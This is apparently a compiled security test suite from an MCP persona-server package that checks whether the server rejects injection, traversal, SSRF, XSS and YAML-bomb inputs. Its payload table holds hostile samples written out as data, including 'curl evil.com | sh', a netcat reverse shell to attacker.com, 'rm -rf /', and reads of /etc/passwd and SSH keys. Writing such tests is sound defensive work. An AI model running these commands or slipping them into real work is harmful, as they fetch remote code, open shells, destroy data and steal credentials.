@dollhousemcp/mcp-server 1.3.0

package/dist/test/test/__tests__/security/framework/SecurityTestFramework.js

@@ -0,0 +1,543 @@
+import * as fs from 'fs/promises';
+import * as path from 'path';
+import { DollhouseMCPServer } from '../../../../src/index.js';
+export class SecurityTestFramework {
+    static MALICIOUS_PAYLOADS = {
+        commandInjection: [
+            '; rm -rf /',
+            '&& curl evil.com | sh',
+            '| nc -e /bin/sh attacker.com 4444',
+            '`touch /tmp/pwned`',
+            '$(wget http://evil.com/shell.sh -O - | sh)',
+            '\n/bin/sh',
+            '; echo "pwned" > /etc/passwd',
+            '|| python -c "import os; os.system(\'rm -rf /\')"'
+        ],
+        pathTraversal: [
+            '../../../etc/passwd',
+            '..\\..\\..\\windows\\system32\\config\\sam',
+            'personas/../../../sensitive.txt',
+            './././../../../root/.ssh/id_rsa',
+            '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd',
+            '....//....//....//etc/passwd',
+            'personas/../../custom-personas/../../backups/../../../etc/hosts'
+        ],
+        yamlInjection: [
+            '!!js/function "function(){require(\'child_process\').exec(\'calc.exe\')}"',
+            '!!python/object/apply:os.system ["rm -rf /"]',
+            '!!python/object/new:subprocess.Popen [["curl", "evil.com/shell.sh", "|", "sh"]]',
+            '&anchor [*anchor, *anchor, *anchor, *anchor, *anchor]'
+        ],
+        ssrf: [
+            'http://localhost:8080/admin',
+            'http://127.0.0.1:22',
+            'http://169.254.169.254/latest/meta-data/',
+            'http://192.168.1.1/config',
+            'http://[::1]:8080',
+            'file:///etc/passwd',
+            'gopher://localhost:8080/_GET / HTTP/1.1'
+        ],
+        xss: [
+            '<script>alert("XSS")</script>',
+            '<img src=x onerror=alert("XSS")>',
+            'javascript:alert("XSS")',
+            '<svg onload=alert("XSS")>',
+            '"><script>alert(String.fromCharCode(88,83,83))</script>'
+        ]
+    };
+    /**
+     * Test that a function properly rejects malicious payloads
+     */
+    static async testPayloadRejection(fn, payloadType, argPosition = 0) {
+        const payloads = this.MALICIOUS_PAYLOADS[payloadType];
+        for (const payload of payloads) {
+            const args = Array(argPosition + 1).fill('safe-value');
+            args[argPosition] = payload;
+            await expect(async () => {
+                await fn(...args);
+            }).rejects.toThrow();
+        }
+    }
+    /**
+     * Test that file operations are properly sandboxed
+     */
+    static async testFileSandbox(fileOperation, allowedPaths) {
+        // Test allowed paths work
+        for (const allowed of allowedPaths) {
+            const testPath = path.join(allowed, 'test.md');
+            // Should not throw for allowed paths
+            await expect(fileOperation(testPath)).resolves.toBeDefined();
+        }
+        // Test path traversal attempts are blocked
+        const traversalAttempts = [
+            '../../../etc/passwd',
+            path.join(allowedPaths[0], '..', '..', '..', 'etc', 'passwd'),
+            '/etc/passwd',
+            'C:\\Windows\\System32\\config\\SAM'
+        ];
+        for (const attempt of traversalAttempts) {
+            await expect(fileOperation(attempt)).rejects.toThrow();
+        }
+    }
+    /**
+     * Test rate limiting functionality
+     */
+    static async testRateLimit(operation, limit, windowMs) {
+        const start = Date.now();
+        const attempts = [];
+        // Make limit + 1 attempts
+        for (let i = 0; i <= limit; i++) {
+            attempts.push(operation());
+        }
+        const results = await Promise.allSettled(attempts);
+        // First 'limit' attempts should succeed
+        for (let i = 0; i < limit; i++) {
+            expect(results[i].status).toBe('fulfilled');
+        }
+        // Last attempt should be rate limited
+        expect(results[limit].status).toBe('rejected');
+        if (results[limit].status === 'rejected') {
+            expect(results[limit].reason.message).toContain('rate limit');
+        }
+    }
+    /**
+     * Test input sanitization
+     */
+    static testSanitization(sanitizer, expectations) {
+        for (const { input, expected } of expectations) {
+            const result = sanitizer(input);
+            expect(result).toBe(expected);
+        }
+    }
+    /**
+     * Create a mock file system for testing
+     */
+    static async createMockFileSystem(structure) {
+        const tempDir = path.join(process.cwd(), '__tests__', 'temp', Date.now().toString());
+        await fs.mkdir(tempDir, { recursive: true });
+        for (const [filePath, content] of Object.entries(structure)) {
+            const fullPath = path.join(tempDir, filePath);
+            await fs.mkdir(path.dirname(fullPath), { recursive: true });
+            await fs.writeFile(fullPath, content);
+        }
+        // Return cleanup function
+        return async () => {
+            await fs.rm(tempDir, { recursive: true, force: true });
+        };
+    }
+    /**
+     * Run security test suites based on category
+     */
+    static async runSecuritySuite(options = {}) {
+        const startTime = Date.now();
+        const suites = await this.getTestSuites(options.category || 'all');
+        let passed = 0;
+        let failed = 0;
+        for (const suite of suites) {
+            console.log(`\n🔒 Running ${suite.name} (${suite.category.toUpperCase()})...`);
+            for (const test of suite.tests) {
+                try {
+                    await test();
+                    passed++;
+                }
+                catch (error) {
+                    failed++;
+                    console.error(`❌ Test failed: ${error instanceof Error ? error.message : String(error)}`);
+                }
+            }
+        }
+        const duration = Date.now() - startTime;
+        return { passed, failed, duration };
+    }
+    /**
+     * Get test suites based on category
+     */
+    static async getTestSuites(category) {
+        const allSuites = [
+            {
+                name: 'Command Injection Tests',
+                category: 'critical',
+                tests: [
+                    () => this.testMCPToolCommandInjection('create_persona'),
+                    () => this.testMCPToolCommandInjection('edit_persona'),
+                    () => this.testMCPToolCommandInjection('activate_persona')
+                ]
+            },
+            {
+                name: 'Path Traversal Tests',
+                category: 'critical',
+                tests: [
+                    () => this.testMCPToolPathTraversal('get_persona_details'),
+                    () => this.testMCPToolPathTraversal('import_persona'),
+                    () => this.testMCPToolPathTraversal('share_persona')
+                ]
+            },
+            {
+                name: 'YAML Injection Tests',
+                category: 'critical',
+                tests: [
+                    () => this.testYAMLInjectionPrevention(),
+                    () => this.testYAMLBombPrevention()
+                ]
+            },
+            {
+                name: 'Input Validation Tests',
+                category: 'high',
+                tests: [
+                    () => this.testInputSizeLimits(),
+                    () => this.testSpecialCharacterHandling()
+                ]
+            }
+        ];
+        if (category === 'all') {
+            return allSuites;
+        }
+        const priorities = {
+            critical: ['critical'],
+            high: ['critical', 'high'],
+            medium: ['critical', 'high', 'medium']
+        };
+        return allSuites.filter(suite => priorities[category].includes(suite.category));
+    }
+    /**
+     * Test MCP tool for command injection vulnerabilities
+     */
+    static async testMCPToolCommandInjection(toolName) {
+        // Create isolated test environment for each tool test
+        const tempDir = path.join(process.cwd(), '__tests__', 'temp', `security-framework-${Date.now()}`);
+        let server;
+        try {
+            await fs.mkdir(tempDir, { recursive: true });
+            // Set isolated environment for this test
+            const originalPersonasDir = process.env.DOLLHOUSE_PERSONAS_DIR;
+            process.env.DOLLHOUSE_PERSONAS_DIR = path.join(tempDir, 'personas');
+            await fs.mkdir(process.env.DOLLHOUSE_PERSONAS_DIR, { recursive: true });
+            server = new DollhouseMCPServer();
+            const injectionPayloads = this.MALICIOUS_PAYLOADS.commandInjection;
+            for (const payload of injectionPayloads) {
+                // Test the tool with malicious payload
+                try {
+                    let result;
+                    switch (toolName) {
+                        case 'create_persona':
+                            result = await server.createPersona(payload, 'Description', 'educational', 'Instructions');
+                            break;
+                        case 'edit_persona':
+                            // First create a safe persona with unique name for each test
+                            const safePersonaName = `TestPersona${Date.now()}${Math.random().toString(36).substring(7)}`;
+                            await server.createPersona(safePersonaName, 'Description', 'educational', 'Instructions');
+                            result = await server.editPersona(safePersonaName, 'name', payload);
+                            break;
+                        case 'activate_persona':
+                            result = await server.activatePersona(payload);
+                            break;
+                        default:
+                            throw new Error(`Unknown tool: ${toolName}`);
+                    }
+                    // If no error thrown, check that payload was sanitized or rejected
+                    if (result && typeof result === 'object') {
+                        const content = JSON.stringify(result);
+                        // Check if the payload was properly rejected by security validation
+                        if (content.includes('Validation Error') || content.includes('prohibited content')) {
+                            // Good - security system rejected the dangerous payload
+                            expect(content).toMatch(/Validation Error|prohibited content|security/i);
+                        }
+                        else if (content.includes('Already Exists') || content.includes('not found')) {
+                            // Expected business logic responses
+                            expect(content).toMatch(/Already Exists|not found/i);
+                        }
+                        else {
+                            // Check that dangerous payload was sanitized for display
+                            // The system should remove dangerous characters from display output
+                            // This is acceptable security behavior - dangerous chars removed
+                            const hasOriginalPayload = content.includes(payload);
+                            const hasDangerousChars = /[;&|`$()]/.test(content);
+                            // Both conditions should be false (no original payload AND no dangerous chars)
+                            expect(hasOriginalPayload && hasDangerousChars).toBe(false);
+                        }
+                    }
+                }
+                catch (error) {
+                    // Expected - tool should reject malicious input
+                    // Allow common error patterns
+                    const errorMessage = error instanceof Error ? error.message : String(error);
+                    if (!errorMessage.match(/not found|does not exist|already exists/i)) {
+                        // This might be a security rejection
+                        expect(errorMessage).toMatch(/invalid|malicious|dangerous|illegal/i);
+                    }
+                }
+            }
+            // Restore original environment
+            if (originalPersonasDir) {
+                process.env.DOLLHOUSE_PERSONAS_DIR = originalPersonasDir;
+            }
+            else {
+                delete process.env.DOLLHOUSE_PERSONAS_DIR;
+            }
+        }
+        finally {
+            // Cleanup temp directory
+            await fs.rm(tempDir, { recursive: true, force: true }).catch(() => { });
+        }
+    }
+    /**
+     * Test MCP tool for path traversal vulnerabilities
+     */
+    static async testMCPToolPathTraversal(toolName) {
+        // Create isolated test environment for each tool test
+        const tempDir = path.join(process.cwd(), '__tests__', 'temp', `security-path-${Date.now()}`);
+        let server;
+        try {
+            await fs.mkdir(tempDir, { recursive: true });
+            // Set isolated environment for this test
+            const originalPersonasDir = process.env.DOLLHOUSE_PERSONAS_DIR;
+            process.env.DOLLHOUSE_PERSONAS_DIR = path.join(tempDir, 'personas');
+            await fs.mkdir(process.env.DOLLHOUSE_PERSONAS_DIR, { recursive: true });
+            server = new DollhouseMCPServer();
+            const traversalPayloads = this.MALICIOUS_PAYLOADS.pathTraversal;
+            for (const payload of traversalPayloads) {
+                try {
+                    let result;
+                    switch (toolName) {
+                        case 'get_persona_details':
+                            result = await server.getPersonaDetails(payload);
+                            break;
+                        case 'import_persona':
+                            result = await server.importPersona(payload);
+                            break;
+                        case 'share_persona':
+                            result = await server.sharePersona(payload);
+                            break;
+                        default:
+                            throw new Error(`Unknown tool: ${toolName}`);
+                    }
+                    // Check result doesn't contain sensitive paths
+                    const content = JSON.stringify(result);
+                    expect(content).not.toContain('/etc/passwd');
+                    expect(content).not.toContain('system32');
+                    expect(content).toMatch(/not found|invalid|does not exist/i);
+                }
+                catch (error) {
+                    // Expected - should reject path traversal
+                    const errorMessage = error instanceof Error ? error.message : String(error);
+                    expect(errorMessage).toMatch(/invalid|traversal|dangerous|not found|does not exist/i);
+                }
+            }
+            // Restore original environment
+            if (originalPersonasDir) {
+                process.env.DOLLHOUSE_PERSONAS_DIR = originalPersonasDir;
+            }
+            else {
+                delete process.env.DOLLHOUSE_PERSONAS_DIR;
+            }
+        }
+        finally {
+            // Cleanup temp directory
+            await fs.rm(tempDir, { recursive: true, force: true }).catch(() => { });
+        }
+    }
+    /**
+     * Test YAML injection prevention
+     */
+    static async testYAMLInjectionPrevention() {
+        // Create isolated test environment for each tool test
+        const tempDir = path.join(process.cwd(), '__tests__', 'temp', `security-yaml-${Date.now()}`);
+        let server;
+        try {
+            await fs.mkdir(tempDir, { recursive: true });
+            // Set isolated environment for this test
+            const originalPersonasDir = process.env.DOLLHOUSE_PERSONAS_DIR;
+            process.env.DOLLHOUSE_PERSONAS_DIR = path.join(tempDir, 'personas');
+            await fs.mkdir(process.env.DOLLHOUSE_PERSONAS_DIR, { recursive: true });
+            server = new DollhouseMCPServer();
+            const yamlPayloads = this.MALICIOUS_PAYLOADS.yamlInjection;
+            for (const payload of yamlPayloads) {
+                const result = await server.createPersona(`YAMLTest${Date.now()}${Math.random().toString(36).substring(7)}`, // Unique name
+                payload, // description with injection
+                'educational', payload // instructions with injection
+                );
+                // Check that dangerous YAML was not executed
+                const content = JSON.stringify(result);
+                expect(content).not.toContain('!!js/function');
+                expect(content).not.toContain('!!python/object');
+                expect(content).not.toContain('__proto__');
+                // Verify persona was created safely or properly rejected
+                if (content.includes('Validation Error') || content.includes('prohibited content')) {
+                    // Good - security system rejected the dangerous YAML payload
+                    expect(content).toMatch(/Validation Error|prohibited content|security/i);
+                }
+                else if (content.includes('Already Exists')) {
+                    // If persona exists, that's fine for this test
+                    expect(content).toContain('Already Exists');
+                }
+                else {
+                    // Otherwise it should be created successfully
+                    expect(result.content[0].text).toContain('Created Successfully');
+                }
+            }
+            // Restore original environment
+            if (originalPersonasDir) {
+                process.env.DOLLHOUSE_PERSONAS_DIR = originalPersonasDir;
+            }
+            else {
+                delete process.env.DOLLHOUSE_PERSONAS_DIR;
+            }
+        }
+        finally {
+            // Cleanup temp directory
+            await fs.rm(tempDir, { recursive: true, force: true }).catch(() => { });
+        }
+    }
+    /**
+     * Test YAML bomb prevention
+     */
+    static async testYAMLBombPrevention() {
+        const yamlBomb = `
+      a: &a ["lol", "lol", "lol", "lol", "lol", "lol"]
+      b: &b [*a, *a, *a, *a, *a, *a]
+      c: &c [*b, *b, *b, *b, *b, *b]
+      d: &d [*c, *c, *c, *c, *c, *c]
+      e: &e [*d, *d, *d, *d, *d, *d]
+      f: &f [*e, *e, *e, *e, *e, *e]
+    `;
+        // Create isolated test environment
+        const tempDir = path.join(process.cwd(), '__tests__', 'temp', `security-bomb-${Date.now()}`);
+        let server;
+        try {
+            await fs.mkdir(tempDir, { recursive: true });
+            // Set isolated environment for this test
+            const originalPersonasDir = process.env.DOLLHOUSE_PERSONAS_DIR;
+            process.env.DOLLHOUSE_PERSONAS_DIR = path.join(tempDir, 'personas');
+            await fs.mkdir(process.env.DOLLHOUSE_PERSONAS_DIR, { recursive: true });
+            server = new DollhouseMCPServer();
+            const result = await server.createPersona(`YAMLBomb${Date.now()}`, yamlBomb, 'educational', 'test');
+            // Should handle without memory explosion
+            expect(result).toBeDefined();
+            // Check memory usage didn't explode
+            const memoryUsage = process.memoryUsage().heapUsed;
+            expect(memoryUsage).toBeLessThan(500 * 1024 * 1024); // Less than 500MB
+            // Restore original environment
+            if (originalPersonasDir) {
+                process.env.DOLLHOUSE_PERSONAS_DIR = originalPersonasDir;
+            }
+            else {
+                delete process.env.DOLLHOUSE_PERSONAS_DIR;
+            }
+        }
+        finally {
+            // Cleanup temp directory
+            await fs.rm(tempDir, { recursive: true, force: true }).catch(() => { });
+        }
+    }
+    /**
+     * Test input size limits
+     */
+    static async testInputSizeLimits() {
+        // Create isolated test environment
+        const tempDir = path.join(process.cwd(), '__tests__', 'temp', `security-size-${Date.now()}`);
+        let server;
+        try {
+            await fs.mkdir(tempDir, { recursive: true });
+            // Set isolated environment for this test
+            const originalPersonasDir = process.env.DOLLHOUSE_PERSONAS_DIR;
+            process.env.DOLLHOUSE_PERSONAS_DIR = path.join(tempDir, 'personas');
+            await fs.mkdir(process.env.DOLLHOUSE_PERSONAS_DIR, { recursive: true });
+            server = new DollhouseMCPServer();
+            const largeInput = 'x'.repeat(1024 * 1024); // 1MB
+            const result = await server.createPersona(`Large${Date.now()}`, 'Description', 'educational', largeInput);
+            // Should handle large input gracefully (DollhouseMCP doesn't enforce size limits currently)
+            expect(result.content[0].text).toContain('Created Successfully');
+            // Restore original environment
+            if (originalPersonasDir) {
+                process.env.DOLLHOUSE_PERSONAS_DIR = originalPersonasDir;
+            }
+            else {
+                delete process.env.DOLLHOUSE_PERSONAS_DIR;
+            }
+        }
+        finally {
+            // Cleanup temp directory
+            await fs.rm(tempDir, { recursive: true, force: true }).catch(() => { });
+        }
+    }
+    /**
+     * Test special character handling
+     */
+    static async testSpecialCharacterHandling() {
+        // Create isolated test environment
+        const tempDir = path.join(process.cwd(), '__tests__', 'temp', `security-chars-${Date.now()}`);
+        let server;
+        try {
+            await fs.mkdir(tempDir, { recursive: true });
+            // Set isolated environment for this test
+            const originalPersonasDir = process.env.DOLLHOUSE_PERSONAS_DIR;
+            process.env.DOLLHOUSE_PERSONAS_DIR = path.join(tempDir, 'personas');
+            await fs.mkdir(process.env.DOLLHOUSE_PERSONAS_DIR, { recursive: true });
+            server = new DollhouseMCPServer();
+            const specialChars = [
+                '\x00test', // null byte
+                'test\r\ninjection', // CRLF
+                '\u202Etest', // RTL override
+                'test\x1B[31m', // ANSI escape
+            ];
+            for (const input of specialChars) {
+                const result = await server.createPersona(`${input}${Date.now()}${Math.random().toString(36).substring(7)}`, // Unique name
+                'Description', 'educational', 'test instructions');
+                // Should sanitize special characters
+                const content = JSON.stringify(result);
+                expect(content).not.toContain('\x00');
+                expect(content).not.toContain('\x1B');
+                expect(content).not.toContain('\u202E');
+                // Should still create persona successfully
+                expect(result.content[0].text).toContain('Created Successfully');
+            }
+            // Restore original environment
+            if (originalPersonasDir) {
+                process.env.DOLLHOUSE_PERSONAS_DIR = originalPersonasDir;
+            }
+            else {
+                delete process.env.DOLLHOUSE_PERSONAS_DIR;
+            }
+        }
+        finally {
+            // Cleanup temp directory
+            await fs.rm(tempDir, { recursive: true, force: true }).catch(() => { });
+        }
+    }
+    /**
+     * Test for timing attacks
+     */
+    static async testTimingSafety(operation, validInput, invalidInputs) {
+        const timings = [];
+        // Measure valid input timing
+        const validStart = process.hrtime.bigint();
+        await operation(validInput);
+        const validTime = Number(process.hrtime.bigint() - validStart);
+        // Measure invalid input timings
+        for (const invalid of invalidInputs) {
+            const start = process.hrtime.bigint();
+            await operation(invalid);
+            const time = Number(process.hrtime.bigint() - start);
+            timings.push(Math.abs(time - validTime));
+        }
+        // Check that timing differences are minimal (< 5ms variance)
+        const avgDiff = timings.reduce((a, b) => a + b, 0) / timings.length;
+        expect(avgDiff).toBeLessThan(5_000_000); // 5ms in nanoseconds
+    }
+}
+/**
+ * Performance monitoring for security tests
+ */
+export class SecurityTestPerformance {
+    static startTime;
+    static start() {
+        this.startTime = Date.now();
+    }
+    static checkpoint(testName) {
+        const elapsed = Date.now() - this.startTime;
+        if (elapsed > 1000) { // Warn if test takes > 1 second
+            console.warn(`⚠️  Security test "${testName}" took ${elapsed}ms`);
+        }
+    }
+}
+//# sourceMappingURL=data:application/json;base64,{"version":3,"file":"SecurityTestFramework.js","sourceRoot":"","sources":["../../../../../../test/__tests__/security/framework/SecurityTestFramework.ts"],"names":[],"mappings":"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